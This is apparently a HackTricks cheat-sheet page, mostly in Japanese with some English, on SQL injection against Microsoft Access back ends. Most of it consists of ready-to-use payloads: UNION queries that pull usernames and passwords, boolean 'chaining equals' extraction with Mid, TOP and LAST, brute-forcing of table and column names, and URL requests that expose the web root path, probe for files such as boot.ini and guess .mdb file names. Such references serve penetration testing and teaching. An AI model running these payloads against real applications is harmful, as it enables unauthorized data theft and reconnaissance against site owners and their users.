# MS Access SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Online Playground
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DB Limitations
### String Concatenation
文字列の連結は `& (%26)` および `+ (%2b)` 文字を使用して可能です。
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### コメント
MS Accessにはコメントがありませんが、NULL文字を使ってクエリの最後を削除することが可能なようです:
```sql
1' union select 1,2 from table%00
```
この方法がうまくいかない場合は、クエリの構文を修正することができます:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### スタッククエリ
サポートされていません。
### LIMIT
**`LIMIT`** 演算子は **実装されていません**。ただし、**`TOP` 演算子を使用して最初の N テーブル行に SELECT クエリの結果を制限することは可能です**。`TOP` は、返される行数を表す整数を引数として受け取ります。
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Just like TOP you can use **`LAST`** which will get the **rows from the end**.
## UNION クエリ/サブクエリ
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思います。MS Accessでは、**サブクエリや追加のクエリでは`FROM`を指定する必要があります**。\
したがって、`UNION SELECT`や`UNION ALL SELECT`、または条件内の括弧の中の`SELECT`を実行したい場合は、常に**有効なテーブル名を持つ`FROM`を指定する必要があります**。\
そのため、**有効なテーブル名**を知っておく必要があります。
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
{% hint style="warning" %}
これにより、テーブルの名前を知らなくても現在のテーブルの値を抽出することができます。
{% endhint %}
**MS Access** は **奇妙な構文** を許可します、例えば **`'1'=2='3'='asd'=false`**。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、それを悪用できます。
MS AccessデータベースにSQLiがあり、1つの **カラム名がusername** であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのWebアプリの異なる応答を確認し、**`Mid`** 関数を使用して部分文字列を取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
```sql
'=(Mid(username,1,3)='adm')='
```
もし**テーブルの名前**と**カラム**をダンプすることがわかっていれば、`Mid`、`LAST`、および`TOP`の組み合わせを使用して、ブールSQLiを介して**すべての情報を漏洩**させることができます:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
### テーブル名のブルートフォース
チェイニングイコール技術を使用すると、次のように**テーブル名をブルートフォース**することもできます:
```sql
'=(select+top+1+'lala'+from+)='
```
従来の方法を使用することもできます:
```sql
-1' AND (SELECT TOP 1 )%00
```
_Feel free to check this in the online playground._
* Sqlmapの一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 別のリストは[http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)にあります。
### カラム名のブルートフォース
**現在のカラム名をブルートフォース**するには、次のように等号トリックを使用できます:
```sql
'=column_name='
```
または **group by** を使用して:
```sql
-1' GROUP BY column_name%00
```
または、**別のテーブル**の列名をブルートフォースすることができます:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### データのダンプ
現在および他のテーブルからデータをダンプするための[**チェイニングイコールテクニック**](ms-access-sql-injection.md#chaining-equals-+-substring)についてはすでに説明しました。しかし、他にも方法があります:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10 演算子を利用することで、最初の10件の結果を選択できます。その後、LASTを使用することで、10番目のタプルのみを考慮できます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプできます。
### 時間ベース
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### その他の興味深い関数
* `Mid('admin',1,1)` 位置1から長さ1の部分文字列を取得(初期位置は1)
* `LEN('1234')` 文字列の長さを取得
* `ASC('A')` 文字のASCII値を取得
* `CHR(65)` ASCII値から文字列を取得
* `IIF(1=1,'a','b')` if then
* `COUNT(*)` アイテムの数をカウント
## テーブルの列挙
[**こちら**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)から、テーブル名を取得するためのクエリを見ることができます:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
しかし、`MSysObjects` テーブルを読み取るアクセス権がない場合に SQL インジェクションを見つけることは非常に一般的であることに注意してください。
## ファイルシステムアクセス
### ウェブルートディレクトリのフルパス
**ウェブルートの絶対パスの知識はさらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠蔽されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access は **ウェブディレクトリのフルパスを含むエラーメッセージ** で応答します。
### ファイル列挙
次の攻撃ベクターは、**リモートファイルシステム上のファイルの存在を推測するために使用できます**。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定すること**です。**指定されたファイルが存在する場合**、MS Access は **データベース形式エラーメッセージ** を表示します。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb ファイル名の推測
**データベースファイル名 (.mdb)** は、次のクエリで推測できます:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
ここで、**name\[i] は .mdb ファイル名** であり、**realTable はデータベース内の存在するテーブル** です。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することが可能です。
### .mdb パスワードクラッカー
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 の主なデータベースパスワードを回復するために使用できる無料のユーティリティです。
## 参考文献
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}